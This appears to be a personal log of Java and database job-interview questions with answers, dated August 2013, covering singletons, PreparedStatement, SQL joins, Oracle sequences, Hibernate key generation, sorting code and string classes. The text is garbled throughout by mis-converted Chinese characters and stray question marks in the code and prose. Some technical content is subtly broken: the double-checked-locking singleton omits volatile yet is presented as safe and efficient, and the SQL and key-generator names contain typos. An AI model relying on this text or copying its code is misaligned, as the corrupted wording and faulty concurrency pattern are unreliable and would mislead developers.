PointCut切入點(diǎn),當(dāng)需要定義一個(gè)切入點(diǎn)時(shí),則需要使用這個(gè) ?
Aspect切面 ?
Advice切入點(diǎn)的邏輯 ?
Target被代理對象 ?
Weave織入 ?
?
問題2:單例模式 ?
??
單例模式是設(shè)計(jì)模式中最簡單的形式之一 ?
這一模式的目的是使得類的一個(gè)對象成為系統(tǒng)中的唯一實(shí)例,要實(shí)現(xiàn)這一點(diǎn),可以從客戶端對其進(jìn)行實(shí)例化開始 ?
因此需要用一種只允許生成對象類的唯一實(shí)例的機(jī)制,“阻止”所有想要生成對象的訪問。 ?
使用工廠方法來限制實(shí)例化過程,這個(gè)方法應(yīng)該是靜態(tài)方法(類方法),因?yàn)樽岊惖膶?shí)例去生成另一個(gè)唯一實(shí)例毫無意義 ?
??
// 第一種形式: 也是常用的形式。 ?
public class Singleton { ?
? ? private static Singleton instance = null; ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? public static Singleton getInstance() { ?
? ? ? ? if (instance == null) { ?
? ? ? ? ? ? instance = new Singleton(); ?
? ? ? ? } ?
? ? ? ? return instance; ?
? ? } ?
} ?
??
// 第二種形式: ?
public class Singleton { ?
? ? // 在自己內(nèi)部定義自己的一個(gè)實(shí)例,只供內(nèi)部調(diào)用 ?
? ? private static Singleton instance = new Singleton(); ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? // 這里提供了一個(gè)供外部訪問本class的靜態(tài)方法,可以直接訪問 ?
? ? public static Singleton getInstance() { ?
? ? ? ? return instance; ?
? ? } ?
} ?
??
// 第三種形式: 雙重鎖的形式。 ?
public class Singleton { ?
? ? private static Singleton instance = null; ?
??
? ? private Singleton() { ?
? ? ? ? // do something ?
? ? } ?
??
? ? public static Singleton getInstance() { ?
? ? ? ? if (instance == null) { ?
? ? ? ? ? ? synchronized (Singleton.class) { ?
? ? ? ? ? ? ? ? if (null == instance) { ?
? ? ? ? ? ? ? ? ? ? instance = new Singleton(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? ? ? return instance; ?
? ? } ?
}// 這個(gè)模式將同步內(nèi)容下方到if內(nèi)部,提高了執(zhí)行的效率,不必每次獲取對象時(shí)都進(jìn)行同步,只有第一次才同步,創(chuàng)建了以后就沒必要了。 ?
??
問題3:PrepareStatement和Statement的區(qū)別? ?
??
Statement用于執(zhí)行靜態(tài)SQL語句,在執(zhí)行時(shí),必須指定一個(gè)事先準(zhǔn)備好的SQL語句,也就是說SQL語句是靜態(tài)的 ?
PrepareStatement是預(yù)編譯的SQL語句對象,SQL語句被預(yù)編譯并保存在對象中。被封裝的SQL語句代表某一類操作,語句中可以包含動態(tài)參數(shù)“?”,在執(zhí)行時(shí)可以為“?”動態(tài)設(shè)置參數(shù)值 ?
使用PrepareStatement對象執(zhí)行SQL時(shí),SQL被數(shù)據(jù)庫進(jìn)行解析和編譯,然后被放到命令緩沖區(qū),每當(dāng)執(zhí)行同一個(gè)PrepareStatement對象時(shí),它就會被解析一次,但不會被再次編譯。在緩沖區(qū)可以發(fā)現(xiàn)預(yù)編譯的命令,并且可以重用。所以PrepareStatement可以減少編譯次數(shù)提高數(shù)據(jù)庫性能 ?
??
1、創(chuàng)建時(shí)的區(qū)別: ?
? ?Statement stm=con.createStatement(); ??
? ?PreparedStatement pstm=con.prepareStatement(SQL); ??
執(zhí)行的時(shí)候: ?
? ? stm.execute(SQL); ??
? ? pstm.execute(); ??
2、pstm一旦綁定了SQL,此pstm就不能執(zhí)行其他的SQL,即只能執(zhí)行一條SQL命令 ?
stm可以執(zhí)行多條SQL命令 ?
3、 對于執(zhí)行同構(gòu)的SQL(只有值不同,其他結(jié)構(gòu)都相同),用pstm的執(zhí)行效率比較高,對于異構(gòu)的SQL語句,Statement的執(zhí)行效率要高 ??
4、當(dāng)需要外部變量的時(shí)候,pstm的執(zhí)行效率更高 ?
??
問題4:團(tuán)隊(duì)項(xiàng)目開發(fā)中,功能模塊完成后如何和組員集成(整合)測試? ?
??
先進(jìn)行單元測試,單元測試無誤后再進(jìn)行集成測試 ?
??
例子:Junit+Ant ?
??
這個(gè)是屬于軟件測試的范疇,由測試人員做的,分為功能測試與性能測試 ?
??
2013年8月14日:21CN世紀(jì)龍信息、凱通軟件 ?
??
問題1:解釋一下什么是哈希表? ?
??
散列表(Hash table,也叫哈希表),是根據(jù)關(guān)鍵碼值(Key value)而直接進(jìn)行訪問的數(shù)據(jù)結(jié)構(gòu) ?
也就是說,它通過把關(guān)鍵碼值映射到表中一個(gè)位置來訪問記錄,以加快查找的速度 ?
這個(gè)映射函數(shù)叫做散列函數(shù),存放記錄的數(shù)組叫做散列表 ?
??
問題2:線程的生命周期 ?
??
新建就緒(阻塞)運(yùn)行死亡 ?
??
新建:其中當(dāng)用new創(chuàng)建完一個(gè)線程對象后,該線程處于新建狀態(tài) ?
就緒:當(dāng)線程對象調(diào)用start()后,該線程處于就緒狀態(tài) ?
運(yùn)行:如果處于就緒狀態(tài)的線程獲得CPU時(shí)間片,開始執(zhí)行run方法的線程執(zhí)行體,該線程處于運(yùn)行狀態(tài) ?
阻塞:如果線程調(diào)用了sleep()或者調(diào)用了一個(gè)阻塞式IO方法等,該線程處于阻塞狀態(tài) ?
死亡:如果線程的run()執(zhí)行完成或者拋出一個(gè)未捕獲的異常等原因,該線程處于死亡狀態(tài) ?
??
問題3:JSP頁面如何實(shí)現(xiàn)自定義標(biāo)簽? ?
??
首先新建繼承了SimpleTagSupport類的自定標(biāo)簽類,重寫doTag方法 ?
然后新建tld文件,定義標(biāo)簽的屬性及格式 ?
JSP頁面引入標(biāo)簽 ?
注意要放置在WEB-INF目錄下才可以解析 ?
自定義標(biāo)簽采用<myTag:checkURL startURL="網(wǎng)址" goURL="網(wǎng)址" ></myTag:checkURL>格式 ?
??
問題4:JSP頁面如何實(shí)現(xiàn)自定義函數(shù)? ?
??
首先新建自定函數(shù)類,定義public static boolean方法 ?
然后新建tld文件,定義標(biāo)簽的屬性及格式 ?
JSP頁面引入標(biāo)簽 ?
注意要放置在WEB-INF目錄下才可以解析 ?
自定義函數(shù)采用${myfn:contains(字符串,字符串)}格式 ?
??
問題5:你所了解的Apache的commons項(xiàng)目所包含的工具? ?
??
BeanUtils:提供了對于JavaBean進(jìn)行各種操作,克隆對象、屬性等等 ?
Betwixt:XML與Java對象之間相互轉(zhuǎn)換 ?
Codec:處理常用的編碼方法的工具類包 例如DES、SHA1、MD5、Base64等 ?
Collections:Java集合框架操作 ?
Compress:Java提供文件打包 壓縮類庫 ?
Configuration:一個(gè)Java應(yīng)用程序的配置管理類庫 ?
DBCP:提供數(shù)據(jù)庫連接池服務(wù) ?
DbUtils:提供對JDBC的操作封裝來簡化數(shù)據(jù)查詢和記錄讀取操作 ?
Email:Java發(fā)送郵件對JavaMail的封裝 ?
FileUpload:提供文件上傳功能 ?
HttpClient:提供HTTP客戶端與服務(wù)器的各種通訊操作. 現(xiàn)在已改成HttpComponents ?
IO:IO工具的封裝 ?
Lang:Java基本對象方法的工具類包,如:StringUtils,ArrayUtils等等 ?
Logging:提供的是一個(gè)Java 的日志接口 ?
Validator:提供了客戶端和服務(wù)器端的數(shù)據(jù)驗(yàn)證框架 ?
??
問題6、如何對SQL語句進(jìn)行優(yōu)化? ?
??
盡可能合理運(yùn)用索引 ?
少用“*”,比如select * from tableName,只查詢自己需要的數(shù)據(jù) ?
使用LIKE ‘%關(guān)鍵字%’模糊查詢時(shí),由于關(guān)鍵字前面用了“%”符號,因此該查詢必定會進(jìn)行全表查詢,盡量不要在關(guān)鍵字前加“%”符號 ?
盡可能減少子查詢的層數(shù) ?
盡可能在子查詢中進(jìn)行數(shù)據(jù)篩選 ?
盡量使用數(shù)字型字段,一部分開發(fā)人員和數(shù)據(jù)庫管理人員喜歡把包含數(shù)值信息的字段設(shè)計(jì)為字符型,這會降低查詢和連接的性能,并會增加存儲開銷。這是因?yàn)橐嬖谔幚聿樵兒瓦B接會逐個(gè)比較字符串中每一個(gè)字符,而對于數(shù)字型而言只需要比較一次就夠了。 ?
??
2013年8月15日: ?
??
問題1、你所了解的測試技術(shù),并說一下你覺得測試與開發(fā)之間的關(guān)系 ?
??
1、按是否查看程序內(nèi)部結(jié)構(gòu)分為: ?
黑盒測試:只關(guān)心輸入和輸出的結(jié)果 ?
白盒測試:去研究里面的源代碼和程序結(jié)構(gòu) ?
??
2、按是否運(yùn)行程序分為: ?
靜態(tài)測試:是指不實(shí)際運(yùn)行被測軟件,而只是靜態(tài)地檢查程序代碼、界面或文檔可能 ?
動態(tài)測試:是指實(shí)際運(yùn)行被測程序,輸入相應(yīng)的測試數(shù)據(jù),檢查輸出結(jié)果和預(yù)期結(jié)果是否相符的過程 ?
??
3、按階段劃分: ?
單元測試:是指對軟件中的最小可測試單元進(jìn)行檢查和驗(yàn)證 ?
集成測試:是單元測試的下一階段,是指將通過測試的單元模塊組裝成系統(tǒng)或子系統(tǒng),再進(jìn)行測試,重點(diǎn)測試不同模塊的接口部門。集成測試就是用來檢查各個(gè)單元模塊結(jié)合到一起能否協(xié)同配合,正常運(yùn)行 ?
系統(tǒng)測試:指的是將整個(gè)軟件系統(tǒng)看做一個(gè)整體進(jìn)行測試,包括對功能、性能,以及軟件所運(yùn)行的軟硬件環(huán)境進(jìn)行測試。系統(tǒng)測試的主要依據(jù)是《系統(tǒng)需求規(guī)格說明書》文檔 ?
驗(yàn)收測試:指的是在系統(tǒng)測試的后期,以用戶測試為主,或有測試人員等質(zhì)量保障人員共同參與的測試,它也是軟件正式交給用戶使用的最后一道工序。驗(yàn)收測試又分為a測試和beta測試,其中a測試指的是由用戶、 測試人員、開發(fā)人員等共同參與的內(nèi)部測試,而beta測試指的是內(nèi)測后的公測,即完全交給最終用戶測試 ?
??
軟件開發(fā)是生產(chǎn)制造軟件;軟件測試是驗(yàn)證開發(fā)出來軟件的質(zhì)量 ?
類比傳統(tǒng)加工制造企業(yè),軟件開發(fā)人員就是生產(chǎn)加工的工人,軟件測試人員就是質(zhì)檢人員 ?
?
開發(fā)與測試的關(guān)系應(yīng)該是: ?
沒有軟件開發(fā)就沒有測試,軟件開發(fā)提供軟件測試的對象 ?
軟件開發(fā)和軟件測試都是軟件生命周期中的重要組成部分 ?
軟件開發(fā)和軟件測試都是軟件過程中的重要活動 ?
軟件測試是保證軟件開發(fā)產(chǎn)物質(zhì)量的重要手段 ?
??
問題2、Oracle里varchar2的最大長度? ?
??
字段類型:Oracle SQL varchar2的最大支持長度為4000個(gè)字節(jié)(bytes) ?
變量類型:Oracle PLSQL varchar2最大支持長度為32767個(gè)字節(jié)(緩沖區(qū)) ?
??
問題3、如何判斷Session過期? ?
??
request.getSession(boolean)這個(gè)方法里面?zhèn)髁艘粋€(gè)boolean值,這個(gè)值如果是true,那么如果當(dāng)前的Request的Session不可用,那么就創(chuàng)建新的會話,如果存在就返回當(dāng)前的會話。如果參數(shù)是false,那么在Request的當(dāng)前會話不存在的時(shí)候就返回null ?
?
if(request.getSession(false)==null){ ?
System.out.println("Session has been invalidated!"); ?
} ?
else{ ?
System.out.println("Session is active!"); ?
} ?
??
問題4、Oracle的行列轉(zhuǎn)換? ?
??
姓名 科目 分?jǐn)?shù) ?
--- --- ---- ?
太上 語文 80 ?
太上 數(shù)學(xué) 70 ?
太上 英語 60 ?
喚魔 語文 90 ?
喚魔 數(shù)學(xué) 80 ?
喚魔 英語 100 ?
轉(zhuǎn)換為: ?
姓名 語文 數(shù)學(xué) 英語 ?
太上 ?80 ?70 ?60 ?
喚魔 ?90 ?80 ?100 ?
??
使用Oracle的Decode函數(shù),如果“科目”是“語文”,返回對應(yīng)科目的分?jǐn)?shù)的綜合,0是缺省值 ?
??
語句如下: ?
select 姓名, ??
sum(decode(科目,'語文', 分?jǐn)?shù),0)) "語文", ?
sum(decode(科目,'數(shù)學(xué)', 分?jǐn)?shù),0)) "數(shù)學(xué)", ?
sum(decode(科目,'英語', 分?jǐn)?shù),0)) "英語" ?
from table ?
group by 姓名; ?
??
2013年8月16日: ?
??
問題1:Hibernate框架下如何實(shí)現(xiàn)分頁? ?
??
Hibernate有自帶分頁功能 ?
Query.setFirstResult() ?//從哪一條條記錄開始 ?
Query.setMaxResults() ? //希望獲得的記錄數(shù) ??
??
問題2:AJAX的優(yōu)缺點(diǎn)? ?
??
優(yōu)點(diǎn): ?
局部刷新頁面,減少用戶心理和實(shí)際的等待時(shí)間,帶來更好的用戶體驗(yàn) ?
使用異步方式與服務(wù)器通信,不需要打斷用戶的操作,具有更加迅速的響應(yīng)能力 ?
減輕服務(wù)器的負(fù)擔(dān),按需取數(shù)據(jù),最大程度的減少冗余請求 ?
基于XML標(biāo)準(zhǔn)化,并被廣泛支持,不需安裝插件等 ?
??
缺點(diǎn): ?
AJAX大量的使用了JavaScript和AJAX引擎,這些取決于瀏覽器的支持。在編寫的時(shí)候考慮對瀏覽器的兼容性IE5.0及以上、Mozilla1.0、NetScape7及以上版本才支持,Mozilla雖然也支持AJAX,但是提供XMLHttpRequest的方式不一樣 ?
AJAX更新頁面內(nèi)容的時(shí)候并沒有刷新整個(gè)頁面,因此,網(wǎng)頁的后退功能是失效的;有的用戶還經(jīng)常搞不清楚現(xiàn)在的數(shù)據(jù)是舊的還是已經(jīng)更新過的這個(gè)就需要在明顯位置提醒用戶“數(shù)據(jù)已更新” ?
對流媒體還有移動設(shè)備的支持不太好等,比如手機(jī)還有平板電腦 ?
??
問題3、Hibernate里配置生成主鍵的方式有哪些? ?
??
Increment: ?
由Hibernate從數(shù)據(jù)庫中取出主鍵的最大值(每個(gè)Session只取1次),以該值為基礎(chǔ),每次增量為1,在內(nèi)存中生成主鍵,不依賴于底層的數(shù)據(jù)庫,因此可以跨數(shù)據(jù)庫 ?
特點(diǎn):跨數(shù)據(jù)庫,不適合多進(jìn)程并發(fā)更新數(shù)據(jù)庫,適合單一進(jìn)程訪問數(shù)據(jù)庫,不能用于集群環(huán)境 ?
Hilo: ?
hilo(高低位方式high low)是Hibernate中最常用的一種生成方式,需要一張額外的表保存hi的值。保存hi值的表至少有一條記錄(只與第一條記錄有關(guān)),否則會出現(xiàn)錯誤。可以跨數(shù)據(jù)庫 ?
特點(diǎn):跨數(shù)據(jù)庫,hilo算法生成的標(biāo)志只能在一個(gè)數(shù)據(jù)庫中保證唯一 ?
Sehilo: ?
與hilo類似,通過hi/lo算法實(shí)現(xiàn)的主鍵生成機(jī)制,只是將hilo中的數(shù)據(jù)表換成了序列Sequence,需要數(shù)據(jù)庫中先創(chuàng)建Sequence,適用于支持Sequence的數(shù)據(jù)庫,如Oracle ?
特點(diǎn):與hilo類似,只能在支持序列的數(shù)據(jù)庫中使用 ?
Identity: ?
identity由底層數(shù)據(jù)庫生成標(biāo)識符。identity是由數(shù)據(jù)庫自己生成的,但這個(gè)主鍵必須設(shè)置為自增長,使用identity的前提條件是底層數(shù)據(jù)庫支持自動增長字段類型,如DB2、SQL Server、MySQL、Sybase和HypersonicSQL等,Oracle這類沒有自增字段的則不支持 ?
特點(diǎn):只能用在支持自動增長的字段數(shù)據(jù)庫中使用,如MySQL ?
Sequence: ?
采用數(shù)據(jù)庫提供的Sequence機(jī)制生成主鍵,需要數(shù)據(jù)庫支持Sequence。如ORACLE、DB、SAP DB、PostgerSQL、McKoi中的SequenceMySQL這種不支持Sequence的數(shù)據(jù)庫則不行(可以使用identity) ?
特點(diǎn):只能在支持序列的數(shù)據(jù)庫中使用,如Oracle ?
Native: ?
native由Hibernate根據(jù)使用的數(shù)據(jù)庫自行判斷采用identity、hilo、Sequence其中一種作為主鍵生成方式,靈活性很強(qiáng)如果能支持identity則使用identity,如果支持Sequence則使用Sequence ?
特點(diǎn):根據(jù)數(shù)據(jù)庫自動選擇,項(xiàng)目中如果用到多個(gè)數(shù)據(jù)庫時(shí),可以使用這種方式,使用時(shí)需要設(shè)置表的自增字段或建立序列,建立表等 ?
Uuid: ?
UUID:Universally Unique Identifier,是指在一臺機(jī)器上生成的數(shù)字,它保證對在同一時(shí)空中的所有機(jī)器都是唯一的。按照開放軟件基金會(OSF)制定的標(biāo)準(zhǔn)計(jì)算,用到了以太網(wǎng)卡地址、納秒級時(shí)間、芯片ID碼和許多可能的數(shù)字 ?
特點(diǎn):uuid長度大,占用空間大,跨數(shù)據(jù)庫,不用訪問數(shù)據(jù)庫就生成主鍵值,所以效率高且能保證唯一性,移植非常方便,推薦使用 ?
Assigned: ?
主鍵由外部程序負(fù)責(zé)生成,在 save() 之前必須指定一個(gè)Hibernate不負(fù)責(zé)維護(hù)主鍵生成,與Hibernate和底層數(shù)據(jù)庫都無關(guān),可以跨數(shù)據(jù)庫。在存儲對象前,必須要使用主鍵的setter方法給主鍵賦值,至于這個(gè)值怎么生成,完全由自己決定,這種方法應(yīng)該盡量避免 ?
特點(diǎn):可以跨數(shù)據(jù)庫,人為控制主鍵生成,應(yīng)盡量避免 ?
Composite-id:復(fù)合主鍵,聯(lián)合主鍵 ?
??
2013年8月17日: ?
??
問題1、Oracle是否支持Auto_Increment?如不支持如何實(shí)現(xiàn)類似功能? ?
??
建立一個(gè)Sequence序列: ?
CREATE SEQUENCE Sequence_Name ?
INCREMENT BY 1 ? ?每次加1個(gè) ? ?
START WITH 1 ? ? ?從1開始計(jì)數(shù) ? ?
NOMAXVALUE ? ? ? ?不設(shè)置最大值 ? ?
NOCYCLE ; ? ? ? ? 一直累加,不循環(huán) ?
??
建立一個(gè)TRIGGER觸發(fā)器: ?
CREATE OR REPLACE TRIGGER Trigger_Name ??
BEFORE ??
INSERT ??
ON Table_Name referencing NEW as NEW FOR EACH ROW ? 行級觸發(fā),即每行都觸發(fā) ?
DECLARE ??
begin ?
select Sequence_Name.nextval into:New.increment_column from dual; ?
end; ?
/ ?
??
問題2、建模使用什么工具? ?
??
Rational Rose、Power Designer、StarUML、Enterprise Architect [?ɑ:kitekt] ?
??
問題3、Svn主要作用?Svn的服務(wù)如何配置? ?
??
主要作用:版本控制管理和代碼服務(wù)器,主要用于團(tuán)隊(duì)開發(fā)時(shí)對項(xiàng)目代碼的管理 ?
??
服務(wù)配置: ?
創(chuàng)建版本庫svnadmin create 版本庫路徑 ?
建議注冊到services.msc服務(wù)中 ?
命令:sc create/delete svn binPath= “盤符:\subversion\bin\svnserve.exe –service –r 倉庫目錄” DisplayName= “邏輯名” ?
binPath的值之前一定要加空格 ?
??
2013年8月19日:凱通軟件 ?
??
問題1、Java基礎(chǔ)數(shù)據(jù)類型有哪些?最大長度分別是多少位?多少字節(jié)? ?
??
整數(shù)類型: ?
Byte 8位 1字節(jié) 范圍:-128 ~ 127范圍:-27 ?~ 27-1 ?
Short 16位 2字節(jié) 范圍:-32768 ~ 32767 范圍:-215 ~ 215-1 ?
Int 32位4字節(jié) 范圍:-2,147,483,648 ~ 2,147,483,647 范圍:-231 ?~ 231-1 ?
Long 64位8字節(jié) 范圍:-9,223,372,036,854,775,808~+9,223,372,036,854,775,807 范圍:-263 ?~ 263 -1 ??
??
浮點(diǎn)數(shù)型: ?
Float 32位4字節(jié) 范圍:-3,40292347E+38 ~ +3,40292347E+38范圍: ?
Double 64位8字節(jié) 范圍:-1.79769313486231576E+308 ~ 1.79769313486231576E+308范圍: ?
??
其他類型: ?
Char 16位2字節(jié)(默認(rèn)Unicode編碼) 范圍:‘\u0000′ ~ ‘\uFFFF’ 范圍: ?
Boolean 1位0.125字節(jié)(8分之1字節(jié)) 范圍:true/false ?
??
??
注意: ?
Int最常用(20億左右),long可以用在統(tǒng)計(jì)世界人口,byte,short用在特殊場合(如果知道存儲在變量中的整數(shù)在一個(gè)字節(jié)范圍內(nèi),就應(yīng)該將變量聲明為byte) ?
Double和Float,一般都使用double,double類型,因?yàn)閐ouble類型比float更精確。需要存儲大量數(shù)據(jù)才考慮單精度一般使用(float可以節(jié)約內(nèi)存) ?
??
問題2、String有哪些方法? ?
??
trim() 去掉起始和結(jié)尾的空格 ?
charAt (int index) ?返回index所指定的字符 ?
concat(String str) ?將兩字符串連接 ?
equals() ?比較兩個(gè)字符串 ?
length() ?返回字符串的長度 ?
replace(char old ,char new) ?將old用new替代 ?
valueOf() ?轉(zhuǎn)換為字符串 ?
substring(int1,int2) ?取出字符串內(nèi)第int1位置到int2的字符串 ?
??
indexOf() 查找字符或者子串第一次出現(xiàn)的地方,lastIndexOf() 查找字符或者子串是后一次出現(xiàn)的地方 ?
startsWith(String str) ?測試字符串是否以str開始,endsWith(String str) ?測試字符串是否以str結(jié)尾 ?
getBytes ?將字符串轉(zhuǎn)換成字節(jié)數(shù)組返回,toCharArray ?將字符串轉(zhuǎn)換成字符數(shù)組 ?
toLowerCase() ?將字符串內(nèi)的字符改寫成小寫,toUpperCase() ?將字符串內(nèi)的字符改寫成大寫 ?
??
問題3、冒泡排序的代碼? ?
??
基本思想: ?
在要排序的一組數(shù)中,對當(dāng)前還未排好序的范圍內(nèi)的全部數(shù),自上而下對相鄰的兩個(gè)數(shù)依次進(jìn)行比較和調(diào)整,讓較大的數(shù)往下沉,較小的往上冒。即:每當(dāng)兩相鄰的數(shù)比較后發(fā)現(xiàn)它們的排序與排序要求相反時(shí),就將它們互換。 ?
??
實(shí)例: ?
??
??
冒泡排序(bubble sort):冒泡排序,每次兩個(gè)相鄰的值進(jìn)行比較,內(nèi)層循環(huán)結(jié)束,最后出現(xiàn)最大值。 ?
??
/* ?
? ? 冒泡排序,每次兩個(gè)相鄰的值進(jìn)行比較,內(nèi)層循環(huán)結(jié)束,最后出現(xiàn)最大值。 ?
? ? 內(nèi)層循環(huán) arr.length-1 避免角標(biāo)越界 ?
? ? ? ? ? ? ?arr.length-x 減少參與比較的數(shù),因?yàn)檫@些數(shù),已經(jīng)是最大值,排在最后,沒有必要參與比較。 ?
? ? */ ?
? ? public static void bubbleSort(int[] arr){ ?
? ? ? ? for(int x=0;x<arr.length;x++){ ?
? ? ? ? ? ? for(int y=0;y<arr.length-1-x;y++){ ?
? ? ? ? ? ? ? ? if(arr[y]>arr[y+1]){ ?
? ? ? ? ? ? ? ? ? ? int temp =arr[y+1]; ?
? ? ? ? ? ? ? ? ? ? arr[y+1]=arr[y]; ?
? ? ? ? ? ? ? ? ? ? arr[y]=temp; ?
? ? ? ? ? ? ? ? }}}} ?
??
問題4、選擇排序的代碼? ?
??
基本思想: ?
在要排序的一組數(shù)中,選出最小的一個(gè)數(shù)與第一個(gè)位置的數(shù)交換;然后在剩下的數(shù)當(dāng)中再找最小的與第二個(gè)位置的數(shù)交換,如此循環(huán)到倒數(shù)第二個(gè)數(shù)和最后一個(gè)數(shù)比較為止。 ?
??
實(shí)例: ?
??
??
/* ?
? ? 選擇排序。內(nèi)循環(huán)結(jié)束 0角標(biāo)位出現(xiàn)最小值。只要外層循環(huán)的值比內(nèi)層循環(huán)值大,就互換位置。 ?
? ? 0角標(biāo)位的元素,和0角標(biāo)位以后的每個(gè)元素進(jìn)行比較,只要比他們大就互換,位置,這樣可以保證0角標(biāo)位置值最小。 ?
? ? 然后,再進(jìn)行1角標(biāo)位置和1角標(biāo)后的每個(gè)元素進(jìn)行比較。 ?
? ? 依次類推, ?
? ? ??
? ? */ ?
? ? public static void selectSort(int[] arr){ ?
? ? ? ? for(int x=0;x<arr.length-1;x++){ ?
? ? ? ? ? ? for(int y=x+1;y<arr.length;y++){ ?
? ? ? ? ? ? ? ? if(arr[x]>arr[y]){ ?
? ? ? ? ? ? ? ? ? ? int temp=arr[y]; ?
? ? ? ? ? ? ? ? ? ? arr[y]=arr[x]; ?
? ? ? ? ? ? ? ? ? ? arr[x]=temp; ?
? ? ? ? ? ? ? ? }}}} ?
??
問題5、inner join、left join、right join、full out join有什么區(qū)別? ?
??
left join是以A表的記錄為基礎(chǔ)的,A可以看成左表,B可以看成右表,left join是以左表為準(zhǔn)的.。 ?
換句話說,左表(A)的記錄將會全部表示出來,而右表(B)只會顯示符合搜索條件的記錄(例子中為: A.aID = B.bID),B表記錄不足的地方均為NULL。 ?
范例代碼: ?
SELECT C.First_Name, C.Last_Name, O.Order_Id FORM Customer AS C LEFT JOIN Order AS O ON C.Customer_ID = O.Customer_ID ?
??
right join和left join的結(jié)果剛好相反,這次是以右表(B)為基礎(chǔ)的,A表不足的地方用NULL填充。 ?
inner join只顯示出了 A.aID = B.bID的記錄,這說明inner join并不以誰為基礎(chǔ),它只顯示符合條件的記錄。 ?
??
Oracle中的使用: ?
連接分為兩種:內(nèi)連接與外連接。 ?
??
A.內(nèi)連接,即最常見的等值連接,例: ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A=TESTB.A ?
等價(jià)于 ?
select * from testa inner join testb on testa.a=testb.a ?
? ?
B.外連接分為左外連接,右外連接和全外連接。 ?
1.左外連接 left outer join 或者 left join ?
左外連接就是在等值連接的基礎(chǔ)上加上主表中的未匹配數(shù)據(jù),例: ?
SELECT * ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
---------------------其中主表是TESTA。 ?
Oracle 中等價(jià)于: (+)是outer join 的意思,能將匹配備件中有空值的記錄也顯示出來,如果沒有這個(gè)符號,則不會顯示條件中包含空值的結(jié)果。 ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A=TESTB.A(+) ?
? ?
三個(gè)表做左外連接: ?
SELECT * ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
LEFT OUTER JOIN TESTC ?
ON TESTA.A=TESTC.A ?
Oracle 中等價(jià)于: ?
SELECT * ?
FROM TESTA,TESTB,TESTC ?
WHERE TESTA.A=TESTB.A(+) ?
AND TESTA.A=TESTC.A(+) ?
? ?
2. 右外連接 right outer join 或者 right join,是在等值連接的基礎(chǔ)上加上被連接表的不匹配數(shù)據(jù)。 ??
SELECT * ?
FROM TESTA ?
RIGHT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
----------------------其中被連接表是TESTB ?
Oracle支持的另一種寫法: ?
SELECT * ?
FROM TESTA,TESTB ?
WHERE TESTA.A(+)=TESTB.A ?
??
3.全外連接 full outer join 或者 full join,是在等值連接的基礎(chǔ)上將左表和右表的未匹配數(shù)據(jù)都加上。 ??
SELECT * ?
FROM TESTA ?
FULL OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
全外連接的等價(jià)寫法,對同一表先做左連接,然后右連接: ??
SELECT ?TESTA.*,TESTB.* ?
FROM TESTA ?
LEFT OUTER JOIN TESTB ?
ON TESTA.A=TESTB.A ?
UNION ?
SELECT TESTA.*,TESTB.* ?
FROM TESTB ?
LEFT OUTER JOIN TESTA ?
ON TESTA.A=TESTB.A ?
??
2013年8月20日: ?
??
問題1、JS中有哪些數(shù)據(jù)類型? ?
??
Undefined、Null、Boolean、Number、String、Object、Array、Function。 ?
JavaScript有三種基本數(shù)據(jù)類型(字符串、數(shù)值、布爾 ),兩種引用數(shù)據(jù)類型(對象、數(shù)組)和兩種特殊數(shù)據(jù)類型(Null 、Undefined )。 ?
??
問題2、String 和StringBuffer的區(qū)別? ?
??
JAVA平臺提供了兩個(gè)類:String和StringBuffer,它們可以儲存和操作字符串,即包含多個(gè)字符的字符數(shù)據(jù)。 ?
String類表示內(nèi)容不可改變的字符串。而StringBuffer類表示內(nèi)容可以被修改的字符串。當(dāng)你知道字符數(shù)據(jù)要改變的時(shí)候你就可以使用StringBuffer。 ?
典型地,你可以使用StringBuffers來動態(tài)構(gòu)造字符數(shù)據(jù)。 ?
另外,String實(shí)現(xiàn)了equals方法,new String(“abc”).equals(new String(“abc”)的結(jié)果為true,而StringBuffer沒有實(shí)現(xiàn)equals方法,所以,new StringBuffer(“abc”).equals(new StringBuffer(“abc”)的結(jié)果為false。 ?
??
接著要舉一個(gè)具體的例子來說明,我們要把1到100的所有數(shù)字拼起來,組成一個(gè)串。 ?
StringBuffer sbf = new StringBuffer(); ? ?
? ? ? ? for(int i=0;i<100;i++) ?
? ? ? ? { ?
? ? ? ? ? ? sbf.append(i); ?
? ? ? ? } ?
上面的代碼效率很高,因?yàn)橹粍?chuàng)建了一個(gè)StringBuffer對象,而下面的代碼效率很低,因?yàn)閯?chuàng)建了101個(gè)對象。 ?
String str = new String(); ? ?
? ? ? ? for(int i=0;i<100;i++) ?
? ? ? ? { ?
? ? ? ? ? ? str = str + i; ?
? ? ? ? } ?
在講兩者區(qū)別時(shí),應(yīng)把循環(huán)的次數(shù)搞成10000,然后用endTime-beginTime來比較兩者執(zhí)行的時(shí)間差異,最后還要講講StringBuilder與StringBuffer的區(qū)別。 ?
String覆蓋了equals方法和hashCode方法,而StringBuffer沒有覆蓋equals方法和hashCode方法,所以,將StringBuffer對象存儲進(jìn)Java集合類中時(shí)會出現(xiàn)問題。 ?
??
問題3、StringBuffer與StringBuilder的區(qū)別? ?
??
StringBuffer和StringBuilder類都表示內(nèi)容可以被修改的字符串,StringBuilder是線程不安全的,運(yùn)行效率高,如果一個(gè)字符串變量是在方法里面定義,這種情況只可能有一個(gè)線程訪問它,不存在不安全的因素了,則用StringBuilder。如果要在類里面定義成員變量,并且這個(gè)類的實(shí)例對象會在多線程環(huán)境下使用,那么最好用StringBuffer。 ?
?
String 不可變 每次對其操作都會在數(shù)據(jù)池產(chǎn)生一個(gè)新的對象,不適合使用在對字符串進(jìn)行頻繁修改的場景 ?
StringBuffer和StringBuilder可變,對其修改不會產(chǎn)生新的對象 其兩者區(qū)別在于StringBuffer線程安全而StringBuilder線程不安全,StringBuilder是線程非安全的效率比StringBuffer高 ?
?
比喻: ?
String是一個(gè)商品 ?
StringBuffer/StringBuilder是生產(chǎn)這個(gè)商品的流水線, ?
